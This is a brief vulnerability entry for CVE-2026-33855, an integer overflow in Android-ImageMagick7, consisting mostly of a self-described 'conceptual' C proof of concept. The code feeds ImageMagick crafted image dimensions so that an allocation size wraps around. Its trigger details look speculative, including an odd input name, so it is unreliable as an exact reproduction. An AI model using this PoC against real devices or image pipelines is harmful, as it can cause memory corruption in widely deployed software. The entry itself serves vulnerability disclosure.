CVE-2026-33855 Android-ImageMagick7整数溢出漏洞

// PoC for Integer Overflow in Android-ImageMagick7 // This is a conceptual PoC demonstrating how an integer overflow might occur // when processing crafted image dimensions. #include <stdio.h> #include <stdlib.h> #include "MagickCore.h" int main(int argc, char **argv) { Image *image; ImageInfo *image_info; ExceptionInfo *exception; // Initialize ImageMagick environment MagickCoreGenesis(*argv, MagickTrue); exception = AcquireExceptionInfo(); // Create a crafted image with dimensions that trigger overflow // Example: width and height that when multiplied result in a value // that wraps around to a small positive number, causing insufficient memory allocation. unsigned long width = 0x10000000; unsigned long height = 0x10; // width * height = 0x100000000 -> wraps around if stored in 32-bit integer image_info = CloneImageInfo((ImageInfo *) NULL); strcpy(image_info->filename, "poc_canvas:magick"); // Using canvas generator // Set crafted size to trigger the vulnerable code path image_info->size = (char *)malloc(50); sprintf(image_info->size, "%lux%lu", width, height); // Attempt to read the image, triggering the vulnerable parsing logic image = ReadImage(image_info, exception); // Check for exceptions indicating a crash or error if (exception->severity != UndefinedException) { printf("Exception caught: %s %s\n", exception->reason, exception->description); } if (image) { DestroyImage(image); } DestroyImageInfo(image_info); DestroyExceptionInfo(exception); MagickCoreTerminus(); return 0; }